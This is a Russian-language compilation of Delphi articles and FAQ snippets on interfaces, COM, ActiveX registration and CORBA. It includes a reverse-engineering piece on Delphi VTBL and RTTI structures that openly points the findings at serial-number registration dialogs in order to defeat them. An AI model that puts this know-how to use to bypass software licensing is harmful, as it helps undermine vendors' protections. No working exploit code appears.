property MyMessage: IShowMessage
read FMyMessage write FMyMessage
implements IShowMessage;
end;

Рисунок 7: Классы TClassProperty и TInterfaceProperty.
Обратите внимание, что каждый из этих классов включает название интерфейса IShowMessage после класса предка, так же, как если бы в каждом классе объявлялись и реализовались методы интерфейса IShowMessage. Однако, в обоих классах, реализация интерфейса делегирована свойству с именем MyMessage. Далее, обратите внимание, что синтаксис объявления свойства включает директиву implements, следующую за названием интерфейса IShowMessage. Это требуется, чтобы можно было сообщить компилятору, что Вы хотите объект, назначенный этому свойству, предоставить для реализации интерфейса IShowMessage.
Оба объявления классов также включают поле члена класса. Это поле используется для хранения ссылки на объект, назначаемый связанному свойству с использованием прямого доступа. В случае свойства TClassProperty.MyMessage, это поле имеет тип класс. Для сравнения, TInterfaceProperty.MyMessage использует поле типа IShowMessage.
Использование этих классов демонстрируется кнопками на основной форме DEMOINT помеченными как Object with class type interface property и Object with interface type interface property соответственно. На рисунке 8 показан код, связанный с обработчиками события этих кнопок.

procedure TForm1.Button3Click(Sender: TObject);
var
IntVar: IShowMessage;
ClassProperty1: TClassProperty;
begin
ClassProperty1 := TClassProperty.Create(Self);
ClassProperty1.MyMessage := TYesDefault.Create;
IntVar := ClassProperty1;
IntVar.MessageText := 'Message Text';
IntVar.ShowMessage;
ShowMessage('About to free the interface');
IntVar := nil;
ShowMessage('Interface freed. About to release the object');
ClassProperty1.Free;
ShowMessage('Object freed');
end;

procedure TForm1.Button4Click(Sender: TObject);
var
IntVar: IShowMessage;
InterfaceProperty1: TInterfaceProperty;
begin
InterfaceProperty1 := TInterfaceProperty.Create(Self);
InterfaceProperty1.MyMessage := TNoDefault.Create;
IntVar := InterfaceProperty1;
IntVar.MessageText := 'Message Text';
IntVar.ShowMessage;
ShowMessage('About to free the interface');
IntVar := nil;
ShowMessage('Interface freed. About to release the object');
InterfaceProperty1.Free;
ShowMessage('Object freed');
end;

Рисунок 8: Обработчики события OnClick кнопок для интерфейса с типом класс и интерфейса с типом интерфейс.
Для обоих обработчиков событий, первая строка создает экземпляр объекта, который реализует интерфейс делегированием, а вторая строка назначает объект интерфейсному свойству. В действительности, объект, который реализует интерфейс, вероятно был бы назначен интерфейсному свойству в конструкторе класса, который реализует интерфейс делегированием. Например, было бы правильно, и возможно более естественно, назначить экземпляр TYesDefault свойству MyMessage экземпляра TClassProperty в конструкторе класса TClassProperty.
Оставшиеся инструкции в этих обработчиках также похожи. Объект назначается интерфейсной переменной в третьей инструкции, после чего используется интерфейсная ссылка, чтобы назначить текст сообщения и показать это сообщение. Если Вы запустите этот пример, Вы увидите, что нажатие на кнопку, помеченную как Object with class type interface property, покажет выполнение класса TYesDefault, а нажатие на кнопку, помеченную как Object with interface type interface property, покажет выполнение, предусмотренное классом TNodefault.
Остальные пять инструкций в этих обработчиках добавлены, чтобы документировать цикл жизни объектов, назначенных свойствам, реализующим интерфейс. Это описывается далее.

Комментарии к реализации интерфейсов делегированием
На первый взгляд, кажется, между двумя типами делегирования интерфейсов очень небольшое различие. Оба используют внешний объект, чтобы обеспечить реализацию интерфейса. Однако, есть очень большое различие, которое побуждает меня настоятельно советовать не использовать свойства типа класс в реализации интерфейса делегированием.
Проблема может быть видна ясно, если Вы сравните последовательность отображения диалоговых окон, нажимая на кнопки двух реализаций интерфейса на основной форме DEMOINT. Действительно, если Вы нажмете на кнопку Object with class type interface property, Вы увидите последовательность диалоговых окон в таком порядке: диалоговое окно TYesDefault ShowMessage, показывающее, что будет освобожден интерфейс, диалоговое окно деструктора TYesDefault, показывающее, что будет освобождаться объект, и наконец диалоговое окно, показывающее, что объект освободился.
Сравните эту последовательность со следующей, которая происходит, когда Вы нажимаете на кнопку Object with interface type interface property: диалоговое окно TNodefault ShowMessage, сопровождается диалоговым окном, показывающим, что будет освобожден интерфейс, затем диалоговое окно, показывающее, что будет освобожден объект, сопровождается диалоговым окном деструктора TNoDefault, и наконец диалоговое окно, показывающее, что объект освободился.
Различие в том, что освобождаемая интерфейсная переменная вызывает разрушение объекта, назначенного свойству TClassProperty.MyMessage, но не оказывает никакого эффекта на объект, назначенный свойству TInterfacePropery.MyMessage. Объект назначенный свойству TInterfacePropery.MyMessage не освободится, пока не освободится экземпляр TInterfaceProperty. Правильно именно это последнее поведение.
Основная проблема при использовании свойства типа класс, состоит в том, что Вы не можете надежно использовать интерфейс объекта реализующего интерфейс, используя свойство типа класс, не проверив вначале, назначен ли объект этому свойству. Предварительного назначения объекта свойству недостаточно, потому что интерфейсная ссылка впоследствии может уничтожить объект. Напротив, объект назначенный свойству типа интерфейс, которое реализует интерфейс, вероятно останется существующим, если только Вы не уничтожите его явно.
Объяснение различия в поведении при использовании свойства типа класс вместо свойства типа интерфейс состоит в том, что класс, который реализует интерфейс, используя свойство типа интерфейс, содержит внутреннюю ссылку на объект, назначаемый свойству. В классе TInterfaceProperty этой ссылкой является поле члена класса FMyMessage. Для сравнения, если Вы не идете на дополнительный риск добавляя интерфейсную ссылку полю члена свойства типа класс, предоставление внешних ссылок на интерфейс будет обеспечиваться только одним подсчетом ссылок. Как только внешняя ссылка освободится, объект, назначенный свойству будет уничтожен, делая реализующий класс непригодным для использования через интерфейс.

Интерфейсы и COM
Если в Delphi представлены интерфейсы с целью поддержки COM, возможно Вы задаетесь вопросом, почему в этой серии стало возможным обсуждение интерфейсов, почти не обсуждая COM. Ответ в том, что интерфейсы являются ценным инструментом для полиморфного обращения к объектам. Короче говоря, если Вы знаете, что объект поддерживает данный интерфейс, Вы действительно знаете все необходимое, чтобы вызывать методы этого интерфейса. Это важно в COM, потому что объекты с которыми Вы работаете, часто неизвестного происхождения.
COM это двоичный стандарт, означающий, что объекты с которыми Вы работаете могут быть откомпилированы любым компилятором, не только Delphi. Фактически, при использовании COM, объекты с которыми Вы работаете, обычно скомпилированы не Delphi а чем-нибудь другим, например Visual C. Но это хорошо. Пока Вы используете в параметрах стандартные OLE типы, Ваши приложения Delphi смогут связываться с этими объектами, вызывая их методы, читая и записывая их свойства.
Но интерфейсы только один аспект COM. Есть очень много других вопросов, включая такие, как обеспечение поддержки для разнообразных потоковых моделей, поддерживаемых COM серверами. Следовательно, Я больше не буду говорить о COM в этой статье. За дополнительной информацией о COM, OLE автоматизации и ActiveX обращайтесь к другим статьям, прошлым и будущим в Delphi Informant Magazine.

Интерфейсы и Open Tools API Delphi
В начале первой части этой серии статей, Я упомянул, что одной из причин, другого взгляда на интерфейсы, стала дополнительная уверенность в использовании интерфейсов в самом Delphi. Определенно, с каждой новой версией Delphi, ее собственное поведение все больше определяется интерфейсами. Хороший пример этого - Open Tools API. В Delphi 5, больше чем когда-либо, требуется, чтобы Вы, создавая собственные расширения IDE Delphi, создавали классы, которые реализуют определенные интерфейсы. Например, чтобы добавить индивидуальную привязку клавиш в редакторе Delphi, Вы создаете и регистрируете класс, который реализует интерфейс IOTAKeyboardBinding (OTA сокращение от Open Tools API).

Заключение
Интерфейсы предоставляют возможность работать с объектами полиморфно в отсутствии наследования. Другими словами, интерфейс определяет возможности объекта не говоря ничего о том, как эти возможности осуществляются. Это сущность модульного программного обеспечения, где один объект делает запрос другому объекту, который реализует определенный интерфейс. Как этот интерфейс реализован, абсолютно неважно. Пока два объекта понимают интерфейс, они могут работать вместе.
Проект на который ссылается эта статья доступен для загрузки.
Cary Jensen is president of Jensen Data Systems, Inc., a Houston-based database development company. He is co-author of 17 books, including Oracle JDeveloper [Oracle Press, 1998], JBuilder Essentials [Osborne/McGraw-Hill, 1998], and Delphi in Depth [Osborne/McGraw-Hill, 1996]. He is a Contributing Editor of Delphi Informant Magazine, and an internationally respected trainer of Delphi and Java. For more information, visit http://www.jensendatasystems.com, or e-mail Cary at mailto:cjensen@compuserve.com
By Cary Jensen, Ph.D.
Перевел Мотов Олег mailto:olegm@tebuk.parma.ru http://olegmotov.h1.ru


Как получить список всех зарегистрированных typelibs?

 uses
  Registry;

procedure EnumTypeLibs(TypeLibNames: TStrings);
var
  f: TRegistry;
  keyNames, keyVersions, keyInfos: TStringList;
  keyName, keyVersion, keyInfo, tlName: string;
  i, j, k: Integer;
begin
  TypeLibNames.Clear;
  keyNames := nil;
  keyVersions := nil;
  keyInfos := nil;
  f := TRegistry.Create;
  try
    keyNames := TStringList.Create;
    keyVersions := TStringList.Create;
    keyInfos := TStringList.Create;
    f.RootKey := HKEY_CLASSES_ROOT;
    if not f.OpenKey('TypeLib', False) then raise
      Exception.Create('TRegistry.Open');
    f.GetKeyNames(keyNames);
    f.CloseKey;
    for i := 0 to keyNames.Count - 1 do
    begin
      keyName := keyNames.Strings[i];
      if not f.OpenKey(Format('TypeLib\%s', [keyName]), False) then Continue;
      f.GetKeyNames(keyVersions);
      f.CloseKey;
      for j := 0 to keyVersions.Count - 1 do
      begin
        keyVersion := keyVersions.Strings[j];
        if not f.OpenKey(Format('TypeLib\%s\%s', [keyName, keyVersion]), False) then
          Continue;
        tlName := f.ReadString('');
        f.GetKeyNames(keyInfos);
        f.CloseKey;
        {$B-}
        for k := 0 to keyInfos.Count - 1 do
        begin
          keyInfo := keyInfos.Strings[k];
          if (keyInfo = '') or (keyInfo[1] < '0') or (keyInfo[1] > '9') then Continue;
          if not f.OpenKey(Format('TypeLib\%s\%s\%s\win32', [keyName, keyVersion,
            keyInfo]), False) then Continue;
          f.CloseKey;
          TypeLibNames.Add(Format('%s ver.%s', [tlName, keyVersion]));
        end;
       {$B+}
      end;
    end;
  finally
    f.Free;
    keyNames.Free;
    keyVersions.Free;
    keyInfos.Free;
  end;
end;

// Example Call:

procedure TForm1.Button1Click(Sender: TObject);
begin
  EnumTypeLibs(ListBox1.Items);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Интерфейсы и published свойства

Итак, мы уже знаем, как найти VTBL. Но в каком порядке хранятся в ней методы ? Ответ можно получить, посмотрев на ассемблерный листинг и сравнив его с исходным кодом VCL. И выяснится, что новые методы дописыватся в конец VTBL, по мере произведения новых классов. Я проследил генеалогию классов до TWinControl и вот что у меня получилось (цифра означает смещение в VTBL):

· TObject
Виртуальные методы этого класса расположены в VTBL по отрицательным индексам. Смотрите моё описание RTTI в предыдущей статье
· TPersistent
· 0x00 AssignTo
· 0x01 DefineProperties
· 0x02 Assign
· TComponent
В нём, помимо всего прочего, реализуется также интерфейсы IUnknown & IDispatch, поэтому объекты-производные от него могут быть серверами OLE-Automation
· 0x03 Loaded
· 0x04 Notification
· 0x05 ReadState
· 0x06 SetName
· 0x07 UpdateRegistry
· 0x08 ValidateRename
· 0x09 WriteState
· 0x0A QueryInterface
· 0x0B Create(AOwner: TComponent)
· TControl
Его производные классы могут быть помещены на форму во время проектрирования и умеют отображать себя ( так называемые "видимые" компоненты )
· 0x0C UpdateLastResize
· 0x0D CanResize
· 0x0E CanAutoResize
· 0x0F ConstrainedResize
· 0x10 GetClientOrigin
· 0x11 GetClientRect
· 0x12 GetDeviceContext
· 0x13 GetDragImages
· 0x14 GetEnabled
· 0x15 GetFloating
· 0x16 GetFloatingDockSiteClass
· 0x17 SetDragMode
· 0x18 SetEnabled - полезный метод, особенно для всяких кнопок в диалогах регистрации серийных номеров...
· 0x19 SetParent
· 0x1A SetParentBiDiMode
· 0x1B SetBiDiMode
· 0x1C WndProc - адрес оконной процедуры. Если она не находит обработчика у себя, вызывается метод TObject::Dispatch. И уже последний метод вызывает dynamic функцию по индексу, равному номеру сообщения Windows.
· 0x1D InitiateAction
· 0x1E Invalidate
· 0x1F Repaint - адрес функции отрисовки компонента
· 0x20 SetBounds
· 0x21 Update
· TWinControl
Его производные классы имеют собственное окно
· 0x22 AdjustClientRect
· 0x23 AlignControls
· 0x24 CreateHandle
· 0x25 CreateParams
· 0x26 CreateWindowHandle
· 0x27 CreateWnd
· 0x28 DestroyWindowHandle
· 0x29 DestroyWnd
· 0x2A GetControlExtents
· 0x2B PaintWindow
· 0x2C ShowControl
· 0x2D SetFocus
А где же хранятся методы интерфейсов, спросите Вы ? Хороший вопрос, учитывая, что классы Delphi могут иметь только одного предка, но в то же самое время реализовывать несколько интерфейсов. Чтобы выяснить это, я написал ещё одну тестовую программу, на сей раз из нескольких файлов. Unit1.pas - главная форма приложения.

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Project1_TLB;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

uses
 Unit2;

procedure TForm1.Button1Click(Sender: TObject);
var
 My_Object: TRP_Server;
 My_Interface: IRP_Server;
begin
 My_Object := Nil;
 My_Interface := Nil;
 Try
  My_Object := TRP_Server.Create;
  My_Interface := My_Object;
  My_Interface.RP_Prop := PChar('Строка');
  MessageDlg(Format('My Method1: %d, string is %s, refcount is %d',
     [My_Interface.Method1(1), My_Interface.RP_Prop, My_Object.RefCount]),
    mtConfirmation,[mbOk],0);
 finally
   if My_Interface <> Nil then
    My_Interface := Nil;
{ это не правильно - My_Object уже не существует здесь }
   MessageDlg(Format('refcount is %d',[My_Object.RefCount]),
    mtConfirmation,[mbOk],0);
 end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
 RP_IO: IRP_Server;
begin
 try
  RP_IO := CoRP_Server.Create;
  RP_IO.RP_Prop := 'Yet one string';
  MessageDlg(Format('String is %s, Method1 return %d',
     [RP_IO.RP_Prop, RP_IO.Method1(123)]), mtConfirmation,[mbOk],0);
 except
 On e:Exception do
  MessageDlg(Format('Exception occured: %s, reason %s',
    [e.ClassName, e.Message]), mtError,[mbOk],0);
 end;
end;

Unit2.pas - объект - сервер OLE-Automation

interface

uses
  ComObj, ActiveX, Project1_TLB, Dialogs, SysUtils;

type
  TRP_Server = class(TAutoObject, IRP_Server)
  private
    MyString: String;
  protected
    function Get_RP_Prop: PChar; safecall;
    function Method1(a: Integer): Integer; safecall;
    procedure Set_RP_Prop(Value: PChar); safecall;
    { Protected declarations }
  public
    destructor Destroy; override;
  end;

implementation

uses ComServ;

Destructor TRP_Server.Destroy;
begin
  MessageDlg('Destroy',mtConfirmation,[mbOk],0);
  Inherited Destroy;
end;

function TRP_Server.Get_RP_Prop: PChar;
begin
 if MyString <> '' then
   Result := PChar(MyString)
 else
   Result := PChar('');
end;

function TRP_Server.Method1(a: Integer): Integer;
begin
 MessageDlg(Format('My Method1: %d', [a]),mtConfirmation,[mbOk],0);
 if MyString <> '' then
   Result := Length(MyString)
 else
   Result := 0;
end;

procedure TRP_Server.Set_RP_Prop(Value: PChar);
begin
 if Value <> nil then
  MyString := Value
 else
  MyString := '';
end;

initialization
  TAutoObjectFactory.Create(ComServer, TRP_Server, Class_RP_Server,
    ciMultiInstance, tmApartment);
  MessageDlg('Initializtion part',mtConfirmation,[mbOk],0);
end.

Projcet1_TLB.pas - файл, автоматически сгенерированный Delphi для классов, являющихся серверами OLE-Automation

unit Project1_TLB;
...
interface

uses Windows, ActiveX, Classes, Graphics, OleCtrls, StdVCL;

// *********************************************************************//
// GUIDS declared in the TypeLibrary. Following prefixes are used:      //
//   Type Libraries     : LIBID_xxxx                                    //
//   CoClasses          : CLASS_xxxx                                    //
//   DISPInterfaces     : DIID_xxxx                                     //
//   Non-DISP interfaces: IID_xxxx                                      //
// *********************************************************************//
const
  LIBID_Project1: TGUID = '{198C3180-6073-11D3-908D-00104BB6F968}';
  IID_IRP_Server: TGUID = '{198C3181-6073-11D3-908D-00104BB6F968}';
  CLASS_RP_Server: TGUID = '{198C3183-6073-11D3-908D-00104BB6F968}';
type

// *********************************************************************//
// Forward declaration of interfaces defined in Type Library            //
// *********************************************************************//
  IRP_Server = interface;
  IRP_ServerDisp = dispinterface;

// *********************************************************************//
// Declaration of CoClasses defined in Type Library                     //
// (NOTE: Here we map each CoClass to its Default Interface)            //
// *********************************************************************//
  RP_Server = IRP_Server;

// *********************************************************************//
// Interface: IRP_Server
// Flags:     (4416) Dual OleAutomation Dispatchable
// GUID:      {198C3181-6073-11D3-908D-00104BB6F968}
// *********************************************************************//
  IRP_Server = interface(IDispatch)
    ['{198C3181-6073-11D3-908D-00104BB6F968}']
    function Method1(a: Integer): Integer; safecall;
    function Get_RP_Prop: PChar; safecall;
    procedure Set_RP_Prop(Value: PChar); safecall;
    property RP_Prop: PChar read Get_RP_Prop write Set_RP_Prop;
  end;

// *********************************************************************//
// DispIntf:  IRP_ServerDisp
// Flags:     (4416) Dual OleAutomation Dispatchable
// GUID:      {198C3181-6073-11D3-908D-00104BB6F968}
// *********************************************************************//
  IRP_ServerDisp = dispinterface
    ['{198C3181-6073-11D3-908D-00104BB6F968}']
    function Method1(a: Integer): Integer; dispid 1;
    property RP_Prop: {??PChar} OleVariant dispid 2;
  end;

  CoRP_Server = class
    class function Create: IRP_Server;
    class function CreateRemote(const MachineName: string): IRP_Server;
  end;

implementation

uses ComObj;

class function CoRP_Server.Create: IRP_Server;
begin
  Result := CreateComObject(CLASS_RP_Server) as IRP_Server;
end;

class function CoRP_Server.CreateRemote(const MachineName: string): IRP_Server;
begin
  Result := CreateRemoteComObject(MachineName, CLASS_RP_Server) as IRP_Server;
end;

Меня всегда интересовало, как же это так Delphi позволят иметь код, запускаемый при инициализации и деинициализации модуля ? Просмотрев исходный код в файле Rtl/Sys/System.pas ( я рекомендую иметь исходные тексты, поставляемые вместе с Delphi при исследовании написанных на ней программ ) и сравнив его с ассемблерным листингом, выясняется, что это легко и непринуждённо. Итак, существуют несколько довольно простых структур:

PackageUnitEntry = record
    Init, FInit : procedure;
  end;

  { Compiler generated table to be processed sequentially to init & finit all package units }
  { Init: 0..Max-1; Final: Last Initialized..0                                              }
  UnitEntryTable = array [0..9999999] of PackageUnitEntry;
  PUnitEntryTable = ^UnitEntryTable;

  PackageInfoTable = record
    UnitCount : Integer;      { number of entries in UnitInfo array; always > 0 }
    UnitInfo : PUnitEntryTable;
  end;

  PackageInfo = ^PackageInfoTable;

При startupе указатель на PackageInfoTable передаётся единственным аргументом функции InitExe:

start        proc near
             push    ebp
             mov     ebp, esp
             add     esp, 0FFFFFFF4h
             mov     eax, offset dword_0_445424
             call    @@InitExe       ; ::`intcls'::InitExe

По адресу 0x445424 хранится DWORD 0x29 и указатель на таблицу структур PackageUnitEntry, где, в частности, на предпоследнем месте содержатся и адреса моих процедур инициализации и деинициализации.

Delphi помещает список реализуемых классом интерфейсов в отдельную структуру, указатель на которую помещает в RTTI по смещению 0x4. Сама эта структура описана во всё том же Rtl/Sys/System.pas:

  PGUID = ^TGUID;
  TGUID = record
    D1: LongWord;
    D2: Word;
    D3: Word;
    D4: array[0..7] of Byte;
  end;

  PInterfaceEntry = ^TInterfaceEntry;
  TInterfaceEntry = record
    IID: TGUID;
    VTable: Pointer;
    IOffset: Integer;
    ImplGetter: Integer;
  end;

  PInterfaceTable = ^TInterfaceTable;
  TInterfaceTable = record
    EntryCount: Integer;
    Entries: array[0..9999] of TInterfaceEntry;
  end;

Указатель на TInterfaceTable и помещается в RTTI по смещению 0x4 ( если класс реализует какие-либо интерфейсы ). TGUID - это обычная структура UID, используемая в OLE, VTable - указатель на VTBL интерфейса, IOffset - смещение в данном классе на экземпляр, содержащий данные данного интерфейса. Когда вызывается метод интерфейса, он вызывается обычно от указателя на интерфейс, а не на класс, реализующий этот интерфейс. Мы же пишем методы нашего класса, которые ожидают видеть в качестве нулевого аргумента указатель на экземпляр нашего класса. Поэтому Delphi автоматически генерирует для VTable код, настраивающий свой нулевой аргумент соответствующим образом. Например, для моего класса TRP_Server значение поля IOffset составляет 0x34. Функции же, содержащиеся в VTable, выглядят так:

loc_0_444B39: ; функция, вызываемая по интерфейсу
                add     dword ptr [esp+4], 0FFFFFFCCh
                jmp     MyMethod1   ; вызов функции в классе

Напомню, что все методы интерфейсов должны объявляться как safecall - параметры передаются как в C, справо налево, но очистку стека производит вызываемая процедура. Поэтому в [esp+4] содержится нулевой параметр функции - указатель на экземпляр интерфейса - класса IRP_Server. Затем вызывается метод класса TRP_Server, которому должен нулевым параметром передаваться указатель на экземпляр TRP_Server - поэтому происходит настройка этого параметра, 0x0FFFFFFCC = -0x34.

Самый же значимый резльтат всех этий ковыряний в коде - мне удалось обнаружить в RTTI полное описание всех published свойств ! Из системы помощи Delphi: ( файл del4op.hlp, перевод мой ):

Published члены имеют такую же видимость, как public члены. Разница заключается в том, что для published членов генерируется информация о типе времени исполнения (RTTI). RTTI позволяет приложению динамически обращаться к полям и свойствам объектов и отыскивать их методы. Delphi использует RTTI для доступа к значениям свойств при сохранении и загрузке файлов форм (.DFM), для показа свойств в Object Inspector и для присваивания некоторых методов (называемых обработчиками событий) определённым свойствам (называемых событиями)

Published свойства ограничены по типу данных. Они могут иметь типы Ordinal, string, класса, интерфейса и указателя на метод класса. Также могут быть использованы наборы (set), если верхний и нижний пределы их базового типа имеют порядковые значения между 0 и 31 (другими словами, набор должен помещаться в байте, слове или двойном слове ). Также можно иметь published свойство любого вещественного типа (за исключением Real48). Свойство-массив не может быть published. Все методы могут быть published, но класс не может иметь два или более перегруженных метода с одинаковыми именами. Члены класса могут быть published, только если они являются классом или интерфейсом.

Класс не может содержать published свойств, если он не скомпилирован с ключом {$M+} или является производным от класса, скомпилированного с этим ключом. Подавляющее большинство классов с published свойствами являются производными от класса TPersistent, который уже скомпилирован с ключом {$M+}, так что Вам редко потребуется использовать эту директиву.

Что сиё может означать для reverse engeneerов ? Значение вышесказанного трудно переоценить - мы можем извлечь из RTTI названия, типы и местоположение в классе всех published свойств любого класса ! Если вспомнить, что такие свойства, как Enable, Text, Caption, Color, Font и многие другие для таких компонентов, как TEdit,TButton,TForm и проч., обычно изменяющиеся, предположим, в диалоге регистрации в зависимости от правильности-неправильности серийного номера, имеют как раз тип published... Поскольку все формы Delphi и компоненты в них имеют published свойства, моя фантазия рисует мне куда более сочную и красочную картину... Одна из главных структур, применяющихся для идентификации published свойств - TPropInfo

  TPropInfo = packed record
    PropType: PPTypeInfo;
    GetProc: Pointer;
    SetProc: Pointer;
    StoredProc: Pointer;
    Index: Integer;
    Default: Longint;
    NameIndex: SmallInt;
    Name: ShortString;
  end;

После структуры наследования ( по смещению 10h в RTTI ) расположен WORD - количество расположенных следом за ним структур TPropInfo, по одной на каждое published свойство. В этой структуре поля имеют следующие значения:

· PropType - указатель на структуру, описывающую тип данного свойства. Структуры, содержащиеся в TypeInfo, довольно сложные, так что я не буду объяснять, как именно они работают, Вам достаточно знать, что мой IDC script потрошит её в 99 % случаев. Они описаны в файле vcl/typeinfo.pas.
· GetProc,SetProc,StoredProc - поля, указывающие на методы Get ( извлечение свойства ), Set ( изменение свойства ) и Stored ( признак сохранения значения свойства ). Для всех них есть недокументрированные правила:
· Если старший байт этих полей равен 0xFF, то в остальных байтах находится смещение в экземпляре класса, по которому находятся данные, представляющие данное свойство. В таком случае все манипуляции со свойством производятся напрямую.
· Если старший байт равен 0xFE, то в остальных байтах содержится смещение в VTBL класса, т.е. все манипуляции со свойством производятся через виртуальную функцию.
· Если значение поля равно 0x80000000 - метод не определён ( скажем, метод Set для read-only published свойств )
· Значение 1 для поля StoredProc означает обязательное сохранение значения свойства.
· Все остальные значения полей рассматриваются как ссылка на метод класса.
· Index - значение не выяснено. Есть подозрение, что это поле связано со свойствами типа массив и подчиняется тем же правилам, что и предыдущие три поля. Во время тестирования мне не встретилось ни одного поля Index со значением, отличным от 0x80000000
· Default - значение свойства по умолчанию
· NameIndex - порядковый номер published свойства в данном классе, отсчёт ведётся почему-то с 2.
· Name - Имя свойства, pascal-style строка

Как видите, можно узнать о published-свойствах практически всё, включая адрес, на который нужно ставить точку останова.

Я изменил свой IDC script для анализа RTTI классов Delphi 4, чтобы он поддерживал все обнаруженные структуры.

Желаю удачи...

Взято с http://delphiworld.narod.ru


Интерфейс OLE AutoServer

Это не улыбка, а дружественный интерфейс.

Я пытаюсь создать in-process oleserver с возможностью обратного вызова (callback). Я хочу передавать мой ole-объект MS C++ dll так, чтобы DLL могла бы вызываться из сервера. Проблема в том, что dll "вылетает", если мой сервер - Delphi 2.0, но работает в VB 4.0

Проблема в том, что вы передаете со стороны Delphi Variant, но на стороне C++ "ожидают" IUnknown. Измените прототип функции Delphi следующим образом:

function SmtOleLink(OleCallBack: IUnknown; ...) ...;

Для получения доступа к типу IUnknown необходимо добавить "Ole2" к списку используемых модулей. Теперь измените вызов со стороны Delphi:

Автор: Anders Hejlsberg

Взято с http://delphiworld.narod.ru


Работа с ActiveX, OCX, VBX

Cодержание раздела:

Как зарегистрировать в компонент ActiveX?
Как узнать установлен ли activeX на машине?
Как можно создать OCX-компонент?


Как зарегистрировать в компонент ActiveX?

запустить "Regsvr32.exe имя_файла" из каталога c:\windows\system(32)

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

1. Регистрация ActiveX:

function RegActiveX(FileName:string):HRESULT;
var
hMod:Integer;
RegProc:function:HRESULT; //HRESULT = Longint
begin
hMod:=LoadLibrary(FileName);
if hMod=0 then
raise Exception.Create('Unable to load library"'+FileName+'". GetLastError = '+IntToStr(GetLastError));
RegProc:=GetProcAddress(hMod,'DllRegisterServer');
if RegProc=nil then
raise Exception.Create('Unable to load "DllRegisterServer" function from "'+FileName+'". GetLastError = '+IntToStr(GetLastError));
Result:=RegProc;
end;

2. Регистрация Type Library:

procedure RegisterTypeLibrary(FileName:string);
var
Name: WideString;
HelpPath: WideString;
TypeLib: ITypeLib;
begin
if LoadTypeLib(PWideChar(WideString(FileName)), TypeLib)=S_OK then
begin
Name := FileName;
HelpPath := ExtractFilePath(ModuleName);
RegisterTypeLib(TypeLib, PWideChar(Name), PWideChar(HelpPath));
end;
end;

Здесь используется интерфейс ITypeLib и API функция RegisterTypeLib. И то и другое объявленно в модуле ActiveX, если я не ошибаюсь.

Hint: если вы регистрируете библиотеку типов изнутри модулчя, то его имя можно получить с помощью следующей функции:

function GetModuleFileName: string;
var Buffer: array[0..261] of Char;
begin
SetString(Result, Buffer, Windows.GetModuleFileName(HInstance,
Buffer, SizeOf(Buffer)));
end;

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru


Как узнать установлен ли activeX на машине?

{ ... }
var
  strOLE: string;
begin
  strOLE = "YourCOMServer.Application" {your ProgID}
  if (CLSIDFromProgID(PWideChar(WideString(strOLE), ClassID) = S_OK) then
    begin
      { ... }
    end;
end;

{ ... }
const
  cKEY = '\SOFTWARE\Classes\CLSID\%s\InprocServer32'
  var
  sKey: string;
  sComServer: string;
  exists: boolean;
  Reg: TRegistry;
begin
  Reg := TRegistry.Create;
  try
    Reg.RootKey := HKEY_LOCAL_MACHINE;
    sKey := format(cKEY, [GuidToString(ClassID)]);
    if Reg.OpenKey(sKey, False) then
    begin
      sComServer := Reg.ReadString('');
      if FileExists(sComServer) then
      begin
        { ... }
      end;
    end;
  finally
    Reg.free;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как можно создать OCX-компонент?

Для Delphi 6:

1. Пишеш обычный VCL-компонент и добавляеш его в палитру компонентов.
2. File->New->Other->ActiveX->ActiveX Control
3. VCL Class Name = твой VCL-компонент

Автор Cully
Взято с Vingrad.ru http://forum.vingrad.ru


Общие вопросы о CORBA технологии

Cодержание раздела:

Документация по Corba
Сравнительный анализ технологий CORBA и COM
Краткий словарь терминологии CORBA New!


Документация по Corba

http://corba.kubsu.ru/

Взято с Vingrad.ru http://forum.vingrad.ru


Сравнительный анализ технологий CORBA и COM

В последние 2-3 года резко возрос интерес к так называемым распределенным системам. Под распределенными системами обычно понимают программные комплексы, составные части которых функционируют на разных компьютерах в сети. Эти части взаимодействуют друг с другом, используя ту или иную технологию различного уровня - от непосредственного использования сокетов TCP/IP до технологий с высоким уровнем абстракции, таких, как RMI или CORBA.
Рост популярности распределенных систем вызван существенным ужесточением требований, предъявляемых заказчиком к современным программным продуктам.

Пожалуй, важнейшими из этих требований являются следующие:
· Обеспечение масштабируемости систем, т.е. способности эффективно обслуживать как малое, так и очень большое количество клиентов одновременно.
· Надежность создаваемых приложений. Программный комплекс должен быть устойчив не только к ошибкам пользователей (это определяется главным образом качеством клиентских приложений), но и к сбоям в системе коммуникаций. Надежность подразумевает использование транзакций, т.е. гарантированного перехода системы в процессе функционирования из одного устойчивого и достоверного состояния в другое.
· Возможность непрерывной работы в течение длительного времени (так называемый режим 24x7, т.е. режим круглосуточной работы в течение недель и месяцев).
· Высокий уровень безопасности системы, под которой понимается не только контроль доступности тех или иных ресурсов системы и защищенность информации на всех этапах функционирования, но и отслеживание выполняемых действий с высокой степенью достоверности.
· Высокая скорость разработки приложений и простота их сопровождения и модификации с использованием программистов средней квалификации.
· Оказалось, что обеспечить соответствие этим требованиям, используя традиционные технологии - а именно, двухзвенные системы клиент-сервер, в которых в качестве серверов выступают системы управления базами данных, почти невозможно.
· Заметим, что далеко не для всех приложений вышеперечисленные требования являются существенными. Легко представить распределенную систему, которая функционирует на небольшом (до 100) количестве компьютеров, работающих в локальной сети, где нет проблем с перезапуском одного или двух-трех серверов в случае необходимости, а главными задачами, для решения которых используются распределенные технологии, являются задачи использования функциональности нескольких стандартных серверов приложений (например, текстовых процессоров, броузеров и электронных таблиц) в интересах клиентских задач. Необходимо иметь в виду, что термин распределенные системы относится к огромному числу задач самого разного класса.
